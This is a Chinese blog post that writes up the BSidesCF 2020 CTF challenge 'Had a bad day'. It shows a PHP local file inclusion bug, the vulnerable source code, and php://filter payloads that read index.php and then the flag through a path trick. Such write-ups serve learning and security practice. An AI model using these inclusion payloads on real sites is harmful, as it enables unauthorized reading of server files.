[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

pl7PLx0fabwhHfUC3J0rWRa6z2cQOI4RId2Y-tju_yE

j8TyNe6zGfxQuRN27dZOZji4BhLQOP00N-Z_EFymj4A

2ZKwoqb8jSx_KnCSk74Lmas9-c7zCarP42eZYHHYCtY

打开网站有两个按钮,点击之后链接后都会加上?category=meowers

猜测有文件包含漏洞,尝试?category=php://filter/read=convert.base64-encode/resource=index.php

bfbgshljB4PBLJtBO09aSc5WGlQw4FAy4f-eZW-gC1I

警告中看到 .php出现了两次,推测源码中存在.php拼接,于是去掉.php

wAOO-qRjk0lgZ20IBxd2_nPLjSOn0gyoAyYI7o_9Opk

得到PHP源码

 <?php
	$file = $_GET['category'];
	if(isset($file))
		{
			if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
			}
			else{
				echo "Sorry, we currently only support woofers and meowers.";
			}
		}
?>

观察源码发现,传入的category参数中需要有woofers、meowers和index才能包含传入以传入名为文件名的文件

因此修改Payload为?category=php://filter/convert.base64-encode/resource=index/.../flag

p2OObHo6TIIP-lpyzEAR3FAfdb7Dfu5ZIv6gN4Wc0NM

BzpY1E1r4twl4Bshs1xhW-xFPVH4O16E5R6G2BqVVo4

posted on   跳河离去的鱼  阅读(8)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

统计

点击右上角即可分享
微信分享提示